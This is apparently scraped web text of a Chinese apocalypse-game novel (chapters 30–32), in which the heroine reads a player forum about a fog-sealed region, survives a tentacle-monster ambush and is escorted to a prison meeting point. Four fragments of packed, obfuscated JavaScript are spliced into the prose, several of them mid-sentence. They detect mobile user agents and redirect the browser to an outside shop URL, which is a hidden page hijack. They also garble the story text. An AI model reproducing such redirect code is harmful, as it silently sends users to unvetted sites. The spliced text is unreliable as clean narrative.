而且生命值又是什么? 她点开自己的个人面板,发现面板比之前丰富了不少。 先行者:阮钰 评级:C 异能:无 积分:23 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602772|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身份:神使(预备役) 个人天赋:能力视界(初级) 个人领域:里斯曼大学 已有序列:奈萨(混沌守卫者)(忠诚度:1) 剩余生命:2 看着面板,阮钰摩挲着下巴沉思。 游戏通关了,这是毋庸置疑的好事,但与之对应的是越来越多的未知信息。 “玩家”身份和“先行者”头衔到底有什么区别? 积分有什么用? 领域、序列、生命,又是什么用处? 她查看赵临渊那边的面板,却发现赵临渊竟然一直都没点开过面板。 【共享】受到了限制,只能查看已开启的游戏系统。如果像现在这样,对方的游戏系统是关闭状态,那么她也只能看到一片黑暗。 “钰姐,咱们到了。”魏柏图说。 小电驴停在小区门口,里面游荡者几只感染者,魏柏图不知道该不该开进去,怕电瓶车的声音惊动它们。 “咱们走进去。”阮钰从车上下来,反握匕首,走在最前面。 魏柏图听话地跟在她身后。 阮钰本来做好了被攻击的准备,一直失效的窥神眼镜突然开始发挥作用,直到进入家门的时候,感染者们都没有正眼看过二人,更没有任何攻击举动。 路过小广场的时候,她观察了一下那朵怪花。 比起夜晚狰狞的模样,怪花的花瓣现在竟然闭合了,那些根须收到了地下,感染者们仿佛被驱逐,不再跪着供养怪花,张着血盆大口在周围游荡。 怪花中心的五米范围内,被感染者们围出一片空白区域。 拉开楼道门,二人一路畅通无阻地上楼、回家。 “这就……回来了?”魏柏图关上防盗门,站在玄关处,看着屋内的摆设,迟迟回不过神。 阮钰打开鞋柜,取出拖鞋,强忍着直接扑上床的冲动,先去抽屉里翻出去年淘汰的旧手机,换上电话卡充电。 经历了大半夜的冒险,重新回到安全的出租屋后,她后知后觉地感受到了困倦和疼痛。 阮钰的出租屋只是个普通的二居室,面积有七十平方左右,她平时住在主卧,次卧是杂物间,专门囤放剧组的道具和乱七八糟的东西。 她把次卧打开,给了魏柏图两个选择。 一,睡沙发。 二,自己收拾床。 魏柏图果断选一。 “家里没有男士拖鞋,你光脚吧。可以先休息一下,我七点半起床吃饭,你自己算好时间。”阮钰找出碘酒和酒精,以及外伤药物。 魏柏图啊啊地不断点头,立刻掏出手机定好闹钟,“钰姐你就放心吧,七点半保证让你吃上三菜一汤!对了,姐,你喜欢什么口味啊?酸的辣的甜的?” 阮钰说:“你看着冰箱里的食材能做什么吧,我不挑。也不用三菜一汤,能吃饱就行。” “好嘞!姐你就等着吧!”魏柏图拍着胸膛保证,然后伸着头问:“钰姐,你受伤了吗?需要我帮忙吗?” “不用,管好你自己。”阮钰冷冰冰的语气吓得他呼吸一窒,慌忙点头。 阮钰站在主卧门前,叮嘱他:“不要拉开窗帘,也不要弄出太大的声音。如果七点半我看不到饭菜,你就可以滚了。” “好的好的好的!”魏柏图小鸡啄米地点头。 阮钰回到主卧,把门反锁后,打开衣柜,摘下窥神眼镜,换了身居家的轻便衣服,然后坐在床上给伤口上药。 幸好没什么特别严重的伤,都是些皮外伤,消毒后涂点碘酒就可以。 换下来的衣服被扔在旁边,她把笔记本和便携手枪一起放在床头柜里,顺便检查了一下手枪里的子弹。 看清手里的寥寥几颗子弹后,她气极反笑。 罗威那狗东西,又骗她。 他咬定她没有时间检查子弹数量,骗她说里面有十发子弹,结果这把枪的弹匣容量只有六发。 他是真该死啊。 手机电量充的差不多能开机了,阮钰开机后挨个登录常用软件,加了魏柏图留下的联系方式。 魏柏图立刻把她拉进了一个新群聊里。 群里算上她,只有五个人,备注也都改好了。 夏茵:【我到家了】 陈老虎:【+1】 郑新文:【+2】 魏柏图:【我和钰姐也到家了!】 郑新文:【和?什么情况,你们住在一起吗?】 魏柏图:【我求钰姐收留我的(小狗骄傲jpg)】 夏茵:【你们去江城论坛看了吗?玩家们通关后都进主城了,我们却直接回了现实世界,不知道是好事还是坏事】 陈老虎:【???啥主城?啥论坛?啥玩意?】 郑新文:【稍等,我去看看】 三分钟后。 郑新文:【(截图)】 郑新文:【完蛋了朋友们,我们好像真跟别人不一样啊,这怎么办?】 郑新文:【@我想吃饭,你怎么不说话?】 30. S级副本 阮钰无视郑新文的提醒,也没看他发的截图,自己去登录了玩家论坛。 官方设立的玩家论坛解除了聊天限制,短短几个小时,喷涌出了上千条帖子。 阮钰按照时间线快速翻阅,论坛权限解除的时间是凌晨一点,最早的帖子发布在凌晨三点,也就是说玩家们最早在三点钟就离开了副本,有了联系外界的能力。 三点……她那个时候还泡在海里。 她耐下心继续翻阅帖子。 热度第一的帖子标题为【震惊,首夜竟然有S级难度的副本?】 楼主:【理性讨论。为什么S级副本会出现在首夜?我得到的消息是首夜关卡仅供玩家熟悉游戏使用,关卡难度为C级,怎么会出现S级副本?除了敬神者小队外,还有多少人进入了S级关卡?这种难度关卡的出现规律是什么?内容是什么?存活率多少?】 2楼:【同问。论坛玩家们的副本难度都是C,我都不敢想S是什么恐怖难度,首夜还限制异能使用,相当于肉身硬闯S级……大佬牛逼,给大佬递烟。】 3楼:【盲猜一手,是不是高难度副本没被通关,所以才没人公布相关信息?敬神者小队可能是唯一一个通关的?】 5楼回复3楼:【逻辑不对,就算S级难度极高,至少B级的死亡率不会太高吧,不至于一个活下来的都没有。何况这个敬神者小队自始至终都没在论坛上发言过。除非关卡难度除了C就只有S级,但那也太离谱了。】 9楼:【讨论这个有什么用?直接找到敬神者小队在的主城不就行了?找到人还怕问不出消息吗?】 14楼回复9楼:【问题是目前没有一个主城收留了敬神者小队!隔壁1544帖已经公布了所有主城和附属小队,所有主城都没有这个小队的信息!】 34楼:【内幕消息,听说官方也在寻找这个小队,预感要出大事,蹲一手。】 38楼:【同蹲】 这层楼内的信息很繁杂,讨论的内容聚集在敬神者小队和S级关卡。 通篇看下来,大家还是好奇为主,并未出现过激言论。 阮钰猜测是因为他们经历的C级关卡确实过于简单,导致他们对游戏和末日还没有具体概念,思维停留在和谐社会,没有用极端思想剖析问题。 相比之下,刚被里斯曼大学折磨过的敬神者小队成员们,全都冷漠的像杀人犯。 阮钰记下楼里提到的主城帖,退出后找到了1544帖。 1544帖子的标题是【主城信息收集,捣乱勿入】,这个帖子的内容比上一个帖子正规的多,而且发言已经被筛选过,没有无用信息。 楼主:【本帖为收集所有主城和小队信息而设立,请大家按照格式有序接龙,无用发言将被删除。】 楼内附加了楼主所在的主城以及接龙格式。 主城名:京都主城 涵盖现实地域:京都及东北三省,藏东部分区域 已有小队:虔敬小队、神随小队、龙武小队…… 玩家数量:48932 首夜通关率:75% 楼下出现了有序接龙。 2楼:【发言已被楼主删除】 3楼:【主城名:禹州主城……】 4楼:【发言已被楼主删除】 7楼:【主城名:梧州主城……】 帖子发言定位了当前所在的IP地址,阮钰翻到底,竟然没看到一个江城IP的玩家发言,连江城在地图上隶属的金州IP都没人发言。 就像……金州从华国版图上消失,玩家被全都被传送到了另一个空间,和其他主城分成了两个世界。 这很不对劲。 江城不可能只有一个敬神者小队,金州好歹是个人口数亿的大城市,玩家数量非常可观,不可能只有敬神者小队活着出来。 一连串的谜题让阮钰再次陷入迷惘,想不通相关细节,去江城和金州官方号也没得到任何有用信息。 论坛玩家们有人发现了这点,试图发帖寻找金州玩家,却没有任何金州IP回复。 这种情况,只有两个可能。 一,金州IP玩家全都死亡,或全体都未能通关。 二,金州IP玩家有了集体默契,集体沉默,拒绝在论坛上现身。 阮钰私心更希望是第二种可能。 也有玩家把敬神者小队和金州IP玩家消失的事件联系在一起,原因是敬神者小队作为被全服通报过的队伍,竟然没有一个人在论坛上发言,也没有任何一个主城收留敬神者小队。 他们猜测敬神者小队归属于金州IP,猜测整个金州的副本难度都比其他地方高,甚至有人认为末日的来源就在金州,叫嚣着让大家抵制金州,让官方好好调查。 【郑新文:@不会做饭@不会做饭@不会做饭】 群里的艾特消息不断弹出,阮钰不得不退出论坛,回到群聊里。 他们四个聊了99+。 阮钰简单扫了一眼历史消息,发现有用讯息没多少,郑新文艾特她的原因也是询问论坛上的事。 阮钰修改了备注后,思索着在聊天框输入文字。 阮钰:【你们暂时别带着金州IP在论坛里乱晃。】 魏柏图:【收到!】 夏茵:【我明白了。】 郑新文:【@阮钰,你认为金州的其他玩家还活着吗?不会就剩咱们几个人了吧?】 阮钰:【不知道。】 阮钰:【不管怎么说,我们先保持沉默,静观其变。】 群里回了一片收到。 五分钟后,陈老虎姗姗来迟。 陈老虎:【卧槽你们聊了这么多?我才到家】 陈老虎:【我回来的路上遇到了一队玩家,你们看看是咋回事,对了,戴上窥神眼镜再看图啊!图片里有月亮!】 陈老虎:【(图片)】 阮钰戴上窥神眼镜,点开图片。 现在的时间是4:36。 天空已经半亮,晨曦初现,太阳露出脑袋,血色圆月依旧高高悬在天空上,但在阳光的洗刷下,圆月已经不再那么可怖了。 空荡荡的街上,路灯的光芒忽明忽暗,十几个人影零星地走在街上,他们要么面无表情,要么表情阴鸷,唯一的共同点是戴着窥神眼镜。 显而易见,这是一队玩家。 他们的存活率比敬神者小队高很多,敬神者小队只活下来五个人,他们却活了十八个。 阮钰:【你和他们聊过吗?】 陈老虎:【没有,我躲起来了,他们走在我前面,没人发现我】 夏茵:【他们往哪个方向走了?】 陈老虎:【嘶……你等会儿嗷,我好好想想!】 郑新文:【幸好还有其他玩家活着……这是好事】 魏柏图:【叽里咕噜说啥呢,不懂,我要给钰姐做饭了(厨神小狗jpg)】 郑新文:【行了知道你抱上大腿了,别炫耀了(白眼jpg)】 阮钰:【……】 几分钟后,陈老虎发来一张地图软件的截图,上面用红线划出了一个小点,以及一个箭头。 陈老虎:【我只跟踪到这儿,箭头是他们前进的方向】 陈老虎:【@阮钰,老妹儿你脑袋好使,你分析一波!】 阮钰放大地图,瞳孔微缩。 陈老虎跟踪到的位置,就在她所在的小区外的苍梧街道。 苍梧街道直通市中心。 他们去市中心干什么?统一休整?还是有什么其他的行动意图? 他们在这个时间才离开副本,那他们的副本是什么难度?更难,还是更简单? 她立刻点开自己的游戏面板,系统没有发布新消息,证明这个小队的副本应该不是S级。 论坛玩家做过统计,每个小队人数都是固定的五十人,大部分C级小队的成员数量都是40左右。但这个小队却只活下来十八个,游戏难度应该在C级之上,那就是B级或A级。 难道真像论坛上猜测的那样,金州副本难度普遍偏高? 阮钰:【没头绪,大家先休息吧。】 魏柏图:【明白】 夏茵:【收到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608117|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 4:40 阮钰又去论坛上搜集了一波信息,然后关闭手机,定好闹钟后,一头栽进枕头上。 疲惫涌来,不到三秒钟她就陷入了深度睡眠。 7:30 闹钟铃声响起。 阮钰快速睁眼,尽管只睡了不到三小时,她紧绷的精神也得到了放松和滋养。 她换了身便于行动的松宽工装,用手指把头发抓通顺,走出卧室。 开门的瞬间,美食香气扑面而来,阮钰的肚子立刻咕咕作响。 魏柏图摘下了窥神眼镜,围着围裙,正在端碗筷。 他长得很清秀,五官端正,算是个小帅哥,挽起来的胳膊上有薄薄的肌肉,是个运动款男大,扎着围裙的样子看起来很乖巧。 “钰姐,你醒了?快来吃饭!”魏柏图放下碗筷,看到阮钰的穿着长相后瞪大眼睛,“我去……姐,你好A啊!” “嗯?”阮钰坐在餐桌前,拿起筷子。 “真的,我草……我知道你很飒,没想到你这么帅!”魏柏图毫不吝啬他的夸奖,眼睛亮晶晶的,“钰姐,快尝尝我的手艺,保证让你吃一口就忘不掉!” 虽然阮钰说不用做三菜一汤,但他还是做了。 冰箱里食材有限,他只能做点家常菜,呈现出的成品让阮钰十分惊喜。 滑蛋虾仁,金色的蛋液和红色的虾仁交杂出漂亮的色彩,还有小葱点缀,入口滑嫩。 醋溜白菜,白菜被切成美观标准的菱形,厨子的刀工显然很好,最简单的食材却做出了惊为天人的感觉。 番茄炒蛋,不仅卖相好看,入口的瞬间让阮钰忍不住眯起眼睛…… 厨艺一直是阮钰未曾战胜的领域。 小时候有母亲做饭,大学吃食堂,进剧组工作后每天都精疲力尽,连点外卖都要打起精神,更没空学习做饭。 满打满算,她有很长时间都没尝过正宗的家常菜了。 魏柏图还做了一道鸡丝豆苗汤,滋味醇厚,暖呼呼的汤顺着喉咙进入胃里,抚平一整夜的疲惫。 魏柏图一脸求夸夸的表情:“钰姐,怎么样?吃的惯吗?” 阮钰一边吃一边朝他竖起大拇指,并决定收留魏柏图—— 成功女人背后,总得有个会做饭的仆人。 魏柏图虽然脑子不聪明,但听话有分寸感,仆人这个身份太适合他了。 “一会儿你先休息吧,我要出门一趟。”吃饭间隙,阮钰开口说。 “啊?钰姐你要去哪儿啊?不能带我一起吗?”魏柏图连忙问。 “我去一趟江城情报部。”阮钰说。 “钰姐!求带!”魏柏图放下筷子,双手合十,可怜兮兮地恳求道:“我现在真不敢自己待着,只有跟在你身边才有点安全感……实在不行,你就把我当成司机吧,我绝对不会耽误你干正事的!求你了,钰姐!” 一想到阮钰会离开,让他独自留在家里,魏柏图就开始心慌害怕,身体颤抖,呼吸困难。 人生都失去了希望。 昨夜的恐怖经历,逼迫这个刚上大学的年轻人面对了人类最痛苦最沉重的死亡课题。他不仅目睹了队友们接二连三的死亡,也经历了无处不在的死亡威胁…… 唯一能为他带来安全感的人,就是在这位队内最强玩家。 阮钰太强大了。 强到能化解他对死亡的恐惧。 只要跟在她身边,他就什么都不怕。 这样的感觉并不是空穴来风。 在三楼的阅览室时,他被独自传送到幻境空间,因为没有阮钰的帮助,所以他受了很严重的伤……但跟在阮钰身边时,他运气总是很好,只要乖乖听她的安排,她总能化解那些他听都听不懂的阴谋诡谲。 让他离开阮钰,就像逼迫忠诚的狗离开主人。 阮钰拒绝的话刚到嘴边,口袋里的手机嗡嗡作响。 屏幕上显示了陌生号码。 她皱眉,点了接听。 “你好,阮钰女士。”电话那头是甜美动听的女声,“我谨代表江城情报部门,向你发出邀约。” 31. 迷雾之城 阮钰开了扬声器,魏柏图也能听到。 魏柏图指着电话,用口型说:“钰姐……” 阮钰摆手让他安静,对电话那头说:“继续。” 甜美的女声说:“因污染降临,金州地域与外界断联,因而官方召集全部玩家,调查与游戏相关事件。” 阮钰放下碗筷,靠着椅背:“必须配合吗?” 对方语气和善:“不,官方保证玩家们拥有绝对的自主权,您可以自由选择是否应约。” “如果您同意,请在八点十分出门,等待车辆统一迎接。” 对方客气的语气让阮钰放松了些。因为罗威的原因,她对官方的印象不算太好,如果官方用强硬手段的话,她会重新考虑是否履行承诺。 她不是传统意义上的好人,并不在意虚无缥缈的口头承诺与信誉问题,何况罗威已经死了。 但对方的语气足够客气,让她觉得舒适,也给了她选择的余地。 所以,阮钰不介意进行一场双赢的交流。 “金州与外界断联是什么意思?”阮钰指尖敲着饭桌,现在的网络和电力都能正常使用,论坛和社交软件也能正常登录,和她口中的“断联”差了十万八千里。 “此事件涉及机密,我没有权限泄露,玩家们集合后会有专人统一进行信息公示。”女声平静,听不出急迫。 “好,我接受邀请,说一下地址。”阮钰说。 “请问您是住在苍梧街道吗?”对方问。 “是的。”阮钰说。 “请您在八点十分到达苍梧街道,届时会有统一车辆接送。”女声说。 阮钰思考后说:“好,我明白了,我会赴约。” 女声说:“祝您平安。” 电话被挂断。 紧接着,魏柏图的电话也响了起来。 一样的女声传出,说了一样的内容。 魏柏图立刻答应,对方说会在江城大学接他,魏柏图连忙说他和阮钰一起,电话那头停顿了三四秒钟。 片刻的沉默里,阮钰听到了细微的笔尖和纸张摩擦的声音。 “好的,祝您平安。”对方挂断电话。 “钰姐,这下你必须带我一起了。”魏柏图把手机丢在桌上。 阮钰点头,看了下时间。 7:47 八点十分到达,距离出门只剩下不到二十分钟时间。 她命令魏柏图收拾碗筷和厨余垃圾,出门的时候一起丢掉。 魏柏图勤勤恳恳的给阮钰当仆人。 阮钰点开手机,先去群里看了一眼,原本消寂的群里陆续有人发言。 夏茵:【你们收到官方的电话了吗?】 陈老虎:【我这边电话刚挂,咋说啊,你们答应了没?】 夏茵:【我答应了。】 郑新文:【我没答应】 陈老虎:【?】 阮钰:【原因?】 短暂的半分钟后,郑新文才再次发言。 郑新文:【你们就当我是胆小鬼吧,我现在很难信任任何人】 郑新文:【我的力量太弱小,随时会被人像蚂蚁一样掐死,我怕官方是第二个赵临渊……我知道我不是什么重要人物,我这是被害妄想症,但我真的怕死】 郑新文:【我不会在论坛上留下个人信息,非必要的游戏任务我也不会做,我会做一个透明人,无论是游戏还是现实】 郑新文:【所以……抱歉了,各位队友,我没办法和你们一起并肩战斗,祝你们平安】 夏茵:【明白了,我尊重你的选择。】 陈老虎:【我咋没看懂呢?算了,反正这是你自己的事儿!有什么重要消息我会告诉你的!】 郑新文:【@陈老虎,谢谢你的好意,但不需要】 阮钰:【知道了。】 她把郑新文从“队友”的范围内划去。 阮钰不认为拒绝接受信息是什么好办法,但郑新文的个人选择,她没有立场也没有原因干涉。 夏茵:【@阮钰@魏柏图,你们呢?】 阮钰:【我们会赴约,一会儿见面再聊。】 陈老虎:【好的!】 夏茵:【明白。】 退出群聊后,阮钰攥着手机思考。 在她睡着的几个小时里,手机收到了好几条关怀信息,大多是同门师兄师姐对末日来临的关怀和询问。 她回复了住在禹州的师姐。 消息在框内转了半分多钟,弹出发送失败的提示。 阮钰又打了电话过去,同样没有信号。 她看着满格的信号拧眉,又给在省内的师兄拨去电话。 电话很快被接通。 “小钰,你怎么这个时候给我打电话,是因为游戏和官方吗?”电话那头传来低哑的男声。 “是,我在测试断联的限制,师兄你也被游戏选中了?”阮钰承认后立刻追问。 游戏危机重重,末日也危机重重。 如果可以的话,她希望她认识的人全部都离游戏远远的,当个什么都不了解的普通人最好。 但现实显然不会让她如愿。 师兄沉默片刻,接着用轻松的语气说:“我归属【天问者】小队,经历的副本难度只有B级,现在正准备出门等待官方呢。小师妹你怎么样?没什么危险吧?” 阮钰刚想回答,他立刻打断:“算了,你也别跟我说你是什么小队的了,说了我也记不住。” 说完,他又笑了笑:“咱们师门就你最出息,你肯定能活下去的,是吧,小师妹。” 轻松的语气下藏着凝重和关怀,让阮钰冰冷的心略微融化。 她轻轻“嗯”了一声,简单寒暄后挂断电话。 电话和信息都发不出去,但论坛和网络能正常使用,能单方面接收到外界的消息。 消息无法发送给外界,金州地域内的人却能无障碍的互相交流。 难怪官方说的是“金州与外界断联”,这几个字是有逻辑关系的。 阮钰点开论坛,经历了前几个小时的井喷式发帖后,现在的论坛相对安静了很多。 帖子的主题内容也聚集在几个核心。 【敬神者小队】【首夜S级关卡】【金州失联】 论坛上的聪明人不少,很快有人推断出敬神者小队是金州地域的队伍,才会在出了风头后消极避世。 S级关卡下的内容较少,大多是对未来的担心,以及喊话敬神者小队,希望能公布S级关卡的内容。 【金州失联】的词条是讨论人数最多的。 有人上传了最新的卫星地图,在华国地图上,原本属于金州的地域变成了一团迷雾。 住在金州地域边缘的其他省份玩家,有人在天亮后离开了主城,前往迷雾区域,拍下了视频。 迷雾似乎被一层看不见的玻璃困住,只聚集在金州地域,对其他地域没有产生任何影响。 有玩家试图向迷雾里投掷物品,也有胆子大的想要闯进迷雾一探虚实,却撞上了透明空气墙,人和物品全被隔绝在外。 1楼:【金州这是怎么了?真成污染源了?但金州也没什么有名的实验室或者药业,不应该发生实验体泄露这种电影情节啊。大家理性讨论,不要吵架。】 2楼:【污染源应该不至于,我翻梯子去外网看过,国外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627072|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有官方组建统一论坛,玩家们自发建立的几个论坛也讨论了类似的事情。每个国家都有一所城市被迷雾笼罩,他们管这些城市叫做“迷雾之城”。】 4楼:【所以金州不是特例呗。国外有没有类似敬神者小队这样的小队通关S级呢?】 7楼回复4楼:【全球几十亿人,玩家都有两百万,优秀玩家不可能只有敬神者小队吧?我觉得这个问题没意义。】 8楼回复7楼:【不想跟傻子聊天。你怎么会觉得这问题没意义?我们在国内接收到的游戏提醒只有敬神者小队,如果也有其他小队通关S级关卡,但我们没收到消息,就说明这个游戏也是分区域服务器的!】 16楼:【先别吵架,我可以明确告诉你们,国外也有这样的小队存在,在他们的游戏论坛里闹得天翻地覆。我猜测8楼说的没错,神裔游戏应该是按照国家分出了不同的服务器,或者不是服务器,而是类似的存在……总之,我们的游戏内容和国外是不互通的。】 17楼:【补充说明,国外通关S级关卡的小队都归属“迷雾之城”,所以咱们的猜测大概率是对的……迷雾之城的游戏难度肯定比我们高很多。】 看到这,阮钰退出了论坛。 敬神者小队不是唯一,迷雾之城…… 她心里暗骂自己的坏运气。 遇上世界末日就算了,还身陷诡异迷雾。 8:04 魏柏图收拾完厨房,拎着垃圾袋,“钰姐,我完事了,咱们走吗?” 阮钰把手机揣进口袋,检查了装备后,她和魏柏图一起出门。 扔了垃圾,离开小区,在空无一人的街道上等待。 苍梧街道的玩家数量似乎很少,整条街道只能看得到他们两个。 八点钟,太阳已经高悬于空,纯洁灿烂的阳光驱散了血月带来的恐怖气氛。 感染者全都消失不见,不知道躲在什么地方。 高达百米的怪花的花瓣彻底闭合,恹恹地趴在地上,枝叶蜷缩着,有种将要枯萎的死亡感。 阮钰眯眼看向天空。 太阳明亮高悬,没有乌云,但她却感觉明亮的光芒中仿佛掺杂着什么…… 灿烂的阳光理应照亮一切,可现在她入眼所见的一切场景都蒙着一层黑雾,像是大雨后初放晴的天空,世界蒙着尘灰和淡到无法察觉的水雾,空气里弥漫着雨水的腥味。 8:10 一辆黑色的面包车开过来,停下,白底黑字的车牌驱散迷雾,尤为清晰。 车门被拉开,穿着军装、腰板挺直的壮汉朝他们招手:“时间有限,快上车!” 壮汉身后的阴暗车内,坐着四五个戴着窥神眼镜的玩家,包括司机在内,所有人都齐刷刷盯着二人,露出如出一辙的急切表情。 魏柏图被紧张的气氛带动的也紧张兮兮,下意识就要抬腿上车,手已经摸到了车把手,却被一股怪力猛扯到后面,摔了个屁股墩。 “嘶……钰姐!”魏柏图痛的猛吸凉气,口腔里立马充斥了腥臭的味道,恶心得他把早饭吐了出来。 “别上车,这里有古怪!”阮钰拔出匕首,刀尖对准壮汉。 壮汉停下动作,嘴角缓慢扬起诡异弧度,喉咙鼓动,从嗓子里发出古怪的低吟声。 在阮钰警惕的目光里,壮汉和他后面的玩家们全都扯起嘴角,露出夸张的血色笑容。 接着,他们的四肢开始变成一条由一条布满吸盘的恶心触手,身体涨大,挤满了整辆面包车。 短短几秒钟,面包车就因为不堪重负而变形,最终成了一坨废铁。 魏柏图从呕吐物里抬头,眼神惊恐:“我了个大草……” 32. 江城监狱 面包车的坚硬铁皮被暴力撕开,长着触手的独眼怪物扭曲的触手已经快要伸到魏柏图的脸上。 魏柏图被吓得脸色惨白,四肢并用,连滚带爬地躲到阮钰身后,声音颤抖:“钰、钰姐,你看,我就说吧……你这条大腿我抱定了!” 没有阮钰,他早就给怪物当口粮了! 阮钰推了下窥神眼镜,眉头拧在一起。 游戏不是已经结束了吗?为什么这里还有触手怪物? 还是说,现实和游戏,本就没有区别? 面包车确实是官方的车,但官方的车里充斥着怪物…… 是官方人员被中途感染,还是自那个电话开始,全都都是场阴谋? 理智让她把后者的可能性剔除,全部注意力都放在面前一人多高的怪物身上。 怪物的外形像是大号章鱼,肉粉色的身体上遍布黑色血管,只有一只和脑袋大小几乎相等的巨大眼球,狰狞地盯着阮钰二人。 阮钰直视怪物,透明的黑色词条漂浮在怪物脑袋上。 【能力视界发动】 【普通二阶感染者】 二阶……感染者? 这坨东西竟然是人类变成的? 阮钰震惊,握着匕首的手不自觉地颤了一下,魏柏图惊恐的声音把她拉回现实。 抛弃了人类的皮囊、丢失了人类的智慧、只知杀戮的感染者,真的还能算是人类吗? 答案是,不算。 粗壮的触手朝着阮钰劈下来,阮钰灵巧地闪身,在躲开触手攻击的同时,顺便把魏柏图踹出七八米远,疼得他龇牙咧嘴,但回神后慌忙躲在掩体后,不给阮钰拖后腿。 怪物的巨眼盯着阮钰闪开的地方,诡异的沉默片刻后,似乎对面前人类的能力做出了评判。 它同时挥起十几根触手,在半空中组建成由吸盘构成的天罗地网,朝阮钰所在的十米范围内重重落下! 阮钰瞪大眼睛,想也不想地飞速后退,但怪物的触手大网实在太过巨大,她即将被巨网笼罩…… “趴下!” 男人的大喝声撕碎濒死的紧张气氛,同时响起的是枪炮出膛的巨响,阮钰的大脑还没来得及处理信息,身体已经根据本能反应而往前扑倒,同时快速转头。 在几十米外,穿着军装的强壮男人肩扛火箭筒,炮弹在怪物的巨目上炸开橘红色的火光。 怪物发出痛苦的尖嚎,触手巨网猛地停滞,阮钰抓住难得的逃生机会,朝着前方快速奔跑。 在她刚跑出触手攻击范围的瞬间,第二颗炮弹上膛、发射。 怪物的半边身躯在恐怖的火力压制下被炸成半透明的粉色碎肉。 触手失去控制,在引力作用下重重落地,上百斤的恐怖重量使脚下的土地发出明显震颤,像是一场小型地震。 【二阶感染者已死亡】 巨目怪物倒地,魏柏图后怕地关心阮钰,“钰姐你没事吧?没受伤吧?” “没事。”阮钰推开他,走向军装男人。 走近后,她发现男人没有佩戴窥神眼镜,皱眉问:“你不是玩家?” “你好,我是江城行动部一队的聂松,奉命执行护送任务。”聂松行了个标准的敬礼,一板一眼地说。 他把火箭筒放回车上,从口袋里拿出手机,给已经死亡的怪物拍了各个角度的照片,然后对阮钰二人说:“请上车,接下来由我护送你们前往江城情报部。” 他把一个小型的对讲机塞到阮钰手里,“这是联络器,如果我中途发生变异,你们务必第一时间杀死我,然后用它联系我的其他队友,会有其他人继续执行护送任务。” “好。”阮钰脸色复杂地接过对讲机。 聂远开的是一辆越野车,他坐上主驾驶,阮钰二人坐在后面。 车内有一些女性化的可爱装饰,看起来不像是官方车辆,反倒像是私家车。 聂远解释说:“车不够,所以我用自己的车做任务。虽然不合规,但末日都来了,也没人能管。” 阮钰点头,通过倒车镜看到死亡的怪物尸体,车速很快,尸体很快就消失在视野范围里。 “如果你们要冒着会被感染的风险执行护送任务,那为什么不让玩家们自己去情报部集合?有窥神眼镜的玩家们被感染的概率很低吧?”魏柏图伸出脑袋问。 聂远把油门踩到底,认真开车,顺便解释:“根据我们的消息,现在整个金州范围内都有污染源,不仅会污染普通人,连玩家也无法幸免。” “窥神眼镜并非万能,这一点你们应该深有体会。”聂远声音沉了下去,“玩家们的异能是无法替代再生的珍贵资源,牺牲我们,保护你们,是一道最简单的选择题。” 魏柏图也沉默了。 这个话题太沉重,太窒息。 阮钰好像知道为什么罗威的行事风格那么极端了……合着整个官方的风格都很极端。 “……现在的局势,竟然严峻到这个程度了吗?”阮钰呢喃。 “可你们的命也是命啊,官方这不是在草芥人命吗?”魏柏图仍旧不忿地说。 “这位女士说的对,现在局势严峻,比起希望,人命是最没有价值的东西。”聂远眼神坚毅:“你们不必认为官方的行为不妥,我们宁可损失几个甚至几十个普通士兵,也不能损失一位愿意与官方合作的友善玩家。” 说完,聂远一个急刹,把车停到了一座铁门前。 “到了。” 阮钰下车,越野车驶离了城区,停在一处戒备森严、环绕着层层铁丝网的建筑群前。 铁门旁的竖牌刻着简单的四个字。 “江城监狱”。 “只有这附近的污染最少,少数的怪物也被清理干净了,所以选在这里集合。”聂远向二人解释后,对守门的士兵出示证件。 大门打开,聂远带着二人直接前往地下的临时会议室。 进入会议室时,能闻到刺鼻的甲醛味。 会议室里有四十多个玩家,大家都戴着窥神眼镜,各自坐在椅子上,表情凝重,沉默不语。 聂远进门的声音惊动了他们,但他们只是草率地扫了一眼,又各自低头。 短发女人拿着本子上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636772|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“名字和地址。” 